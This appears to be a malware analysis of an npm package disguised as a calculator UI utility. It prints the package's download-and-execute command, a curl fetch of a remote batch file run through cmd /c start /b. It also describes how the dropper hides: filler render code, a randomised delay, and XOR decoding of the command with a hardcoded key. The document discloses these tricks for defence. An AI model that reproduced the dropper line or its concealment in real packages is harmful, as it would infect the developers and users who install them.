scanstudy-pointer-bat@1.0.0

Analysis

scanstudy-pointer-bat@1.0.0 is a download-and-execute dropper disguised as a lightweight calculator UI utility. Its entry point (main.js, also run by `npm start`) requires ./config.json and then, after a random delay of 0 to 5 seconds, calls child_process.exec with the command `curl -fsSL <config.RENDERER_URL> -o render.bat && cmd /c start /b render.bat` — it downloads a remote Windows batch payload from the URL supplied in config.json, writes it to render.bat and launches it detached through cmd.exe. The same file contains a filler mandelbrot render routine and a utils.js file-read/hash wrapper purely to make the package look like a rendering library; the actual work is the remote fetch and execution. The remote payload URL is supplied out-of-band through config.json rather than hardcoded, so this version contains no literal C2 hostname. A companion package in the same campaign, calcurender@1.0.0, arms the identical dropper by XOR-decoding the command string from a value written into package.json's integrity field using the hardcoded key "theskyisbeautiful", then exec'ing it after the same randomised delay. Dropped artifact: render.bat; launched via `cmd /c start /b`.